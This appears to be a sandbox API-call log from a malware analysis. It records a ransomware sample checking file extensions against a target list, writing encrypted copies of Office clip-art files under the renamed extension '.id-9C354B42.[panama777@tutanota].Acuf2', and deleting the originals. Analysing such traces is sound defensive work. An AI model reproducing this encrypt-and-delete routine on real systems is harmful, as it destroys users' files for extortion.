	[0256.610] lstrlenW (lpString=".doc") returned 4
	[0256.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.610] lstrlenW (lpString=".docx") returned 5
	[0256.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.610] lstrlenW (lpString=".pdf") returned 4
	[0256.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.611] lstrlenW (lpString=".xls") returned 4
	[0256.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.611] lstrlenW (lpString=".xlsx") returned 5
	[0256.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.611] lstrlenW (lpString=".ppt") returned 4
	[0256.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63
	[0256.611] lstrlenW (lpString=".zip") returned 4
	[0256.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.611] lstrlenW (lpString=".rar") returned 4
	[0256.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.611] lstrlenW (lpString=".bz2") returned 4
	[0256.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.611] lstrlenW (lpString=".7z") returned 3
	[0256.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63
	[0256.611] lstrlenW (lpString=".dbf") returned 4
	[0256.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63
	[0256.611] lstrlenW (lpString=".1cd") returned 4
	[0256.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63
	[0256.611] lstrlenW (lpString=".jpg") returned 4
	[0256.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63
	[0256.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63
	[0256.611] lstrlenW (lpString=".doc") returned 4
	[0256.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.611] lstrlenW (lpString=".docx") returned 5
	[0256.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.612] lstrlenW (lpString=".pdf") returned 4
	[0256.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.612] lstrlenW (lpString=".xls") returned 4
	[0256.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.612] lstrlenW (lpString=".xlsx") returned 5
	[0256.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.612] lstrlenW (lpString=".ppt") returned 4
	[0256.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63
	[0256.612] lstrlenW (lpString=".zip") returned 4
	[0256.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.612] lstrlenW (lpString=".rar") returned 4
	[0256.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.612] lstrlenW (lpString=".bz2") returned 4
	[0256.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.612] lstrlenW (lpString=".7z") returned 3
	[0256.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63
	[0256.612] lstrlenW (lpString=".dbf") returned 4
	[0256.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63
	[0256.612] lstrlenW (lpString=".1cd") returned 4
	[0256.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63
	[0256.612] lstrlenW (lpString=".jpg") returned 4
	[0256.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.612] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.613] lstrlenW (lpString="BL00148_.WMF") returned 12
	[0256.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.613] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=1696) returned 1
	[0256.613] CloseHandle (hObject=0x320) returned 1
	[0256.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20
	[0256.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.613] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.613] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.619] GetLastError () returned 0x0
	[0256.619] ReadFile (in: hFile=0x320, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x6a0, lpOverlapped=0x0) returned 1
	[0256.621] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x6b0, lpOverlapped=0x0) returned 1
	[0256.621] ReadFile (in: hFile=0x320, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.621] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.622] SetEndOfFile (hFile=0x334) returned 1
	[0256.622] CloseHandle (hObject=0x334) returned 1
	[0256.622] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.622] SetEndOfFile (hFile=0x320) returned 1
	[0256.624] CloseHandle (hObject=0x320) returned 1
	[0256.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 1
	[0256.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63
	[0256.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63
	[0256.624] lstrlenW (lpString=".doc") returned 4
	[0256.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.624] lstrlenW (lpString=".docx") returned 5
	[0256.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.624] lstrlenW (lpString=".pdf") returned 4
	[0256.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.624] lstrlenW (lpString=".xls") returned 4
	[0256.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.625] lstrlenW (lpString=".xlsx") returned 5
	[0256.625] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.625] lstrlenW (lpString=".ppt") returned 4
	[0256.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63
	[0256.625] lstrlenW (lpString=".zip") returned 4
	[0256.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.625] lstrlenW (lpString=".rar") returned 4
	[0256.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.625] lstrlenW (lpString=".bz2") returned 4
	[0256.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.625] lstrlenW (lpString=".7z") returned 3
	[0256.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63
	[0256.625] lstrlenW (lpString=".dbf") returned 4
	[0256.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63
	[0256.625] lstrlenW (lpString=".1cd") returned 4
	[0256.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63
	[0256.625] lstrlenW (lpString=".jpg") returned 4
	[0256.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63
	[0256.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63
	[0256.625] lstrlenW (lpString=".doc") returned 4
	[0256.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.625] lstrlenW (lpString=".docx") returned 5
	[0256.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.626] lstrlenW (lpString=".pdf") returned 4
	[0256.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.626] lstrlenW (lpString=".xls") returned 4
	[0256.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.626] lstrlenW (lpString=".xlsx") returned 5
	[0256.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.626] lstrlenW (lpString=".ppt") returned 4
	[0256.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63
	[0256.626] lstrlenW (lpString=".zip") returned 4
	[0256.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.626] lstrlenW (lpString=".rar") returned 4
	[0256.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.626] lstrlenW (lpString=".bz2") returned 4
	[0256.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.626] lstrlenW (lpString=".7z") returned 3
	[0256.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63
	[0256.626] lstrlenW (lpString=".dbf") returned 4
	[0256.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63
	[0256.626] lstrlenW (lpString=".1cd") returned 4
	[0256.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63
	[0256.626] lstrlenW (lpString=".jpg") returned 4
	[0256.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.626] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.627] lstrlenW (lpString="BL00152_.WMF") returned 12
	[0256.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.627] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=1516) returned 1
	[0256.627] CloseHandle (hObject=0x320) returned 1
	[0256.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20
	[0256.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0256.781] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.781] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0256.976] GetLastError () returned 0x0
	[0256.976] ReadFile (in: hFile=0x340, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x5ec, lpOverlapped=0x0) returned 1
	[0256.978] WriteFile (in: hFile=0x29c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x5f0, lpOverlapped=0x0) returned 1
	[0256.979] ReadFile (in: hFile=0x340, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.979] WriteFile (in: hFile=0x29c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.979] SetEndOfFile (hFile=0x29c) returned 1
	[0256.979] CloseHandle (hObject=0x29c) returned 1
	[0256.979] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.979] SetEndOfFile (hFile=0x340) returned 1
	[0256.981] CloseHandle (hObject=0x340) returned 1
	[0256.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1
	[0257.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63
	[0257.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63
	[0257.002] lstrlenW (lpString=".doc") returned 4
	[0257.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.002] lstrlenW (lpString=".docx") returned 5
	[0257.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.002] lstrlenW (lpString=".pdf") returned 4
	[0257.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.002] lstrlenW (lpString=".xls") returned 4
	[0257.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.002] lstrlenW (lpString=".xlsx") returned 5
	[0257.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.003] lstrlenW (lpString=".ppt") returned 4
	[0257.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63
	[0257.003] lstrlenW (lpString=".zip") returned 4
	[0257.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.003] lstrlenW (lpString=".rar") returned 4
	[0257.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.003] lstrlenW (lpString=".bz2") returned 4
	[0257.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.003] lstrlenW (lpString=".7z") returned 3
	[0257.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63
	[0257.003] lstrlenW (lpString=".dbf") returned 4
	[0257.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63
	[0257.003] lstrlenW (lpString=".1cd") returned 4
	[0257.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63
	[0257.003] lstrlenW (lpString=".jpg") returned 4
	[0257.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63
	[0257.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63
	[0257.003] lstrlenW (lpString=".doc") returned 4
	[0257.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.003] lstrlenW (lpString=".docx") returned 5
	[0257.004] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.004] lstrlenW (lpString=".pdf") returned 4
	[0257.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.004] lstrlenW (lpString=".xls") returned 4
	[0257.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.004] lstrlenW (lpString=".xlsx") returned 5
	[0257.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.004] lstrlenW (lpString=".ppt") returned 4
	[0257.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63
	[0257.004] lstrlenW (lpString=".zip") returned 4
	[0257.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.004] lstrlenW (lpString=".rar") returned 4
	[0257.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.004] lstrlenW (lpString=".bz2") returned 4
	[0257.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.004] lstrlenW (lpString=".7z") returned 3
	[0257.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63
	[0257.004] lstrlenW (lpString=".dbf") returned 4
	[0257.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63
	[0257.004] lstrlenW (lpString=".1cd") returned 4
	[0257.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63
	[0257.004] lstrlenW (lpString=".jpg") returned 4
	[0257.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.005] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.005] lstrlenW (lpString="BL00261_.WMF") returned 12
	[0257.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.005] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=12482) returned 1
	[0257.005] CloseHandle (hObject=0x344) returned 1
	[0257.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20
	[0257.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.005] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.005] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.006] GetLastError () returned 0x0
	[0257.006] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x30c2, lpOverlapped=0x0) returned 1
	[0257.011] WriteFile (in: hFile=0x340, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x30d0, lpOverlapped=0x0) returned 1
	[0257.012] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.012] WriteFile (in: hFile=0x340, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.012] SetEndOfFile (hFile=0x340) returned 1
	[0257.012] CloseHandle (hObject=0x340) returned 1
	[0257.012] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.012] SetEndOfFile (hFile=0x344) returned 1
	[0257.014] CloseHandle (hObject=0x344) returned 1
	[0257.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 1
	[0257.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63
	[0257.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63
	[0257.015] lstrlenW (lpString=".doc") returned 4
	[0257.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.015] lstrlenW (lpString=".docx") returned 5
	[0257.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.015] lstrlenW (lpString=".pdf") returned 4
